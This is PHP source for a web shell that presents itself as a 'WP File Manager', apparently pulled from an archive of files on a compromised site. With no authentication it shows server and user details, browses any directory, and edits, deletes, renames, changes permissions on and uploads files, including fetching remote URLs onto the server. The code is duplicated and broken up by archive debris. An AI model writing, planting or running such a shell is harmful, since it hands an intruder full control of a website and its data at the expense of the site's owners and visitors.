permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK‘&{]CO¹ò®Ë®Ëadelina@drsupernova.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
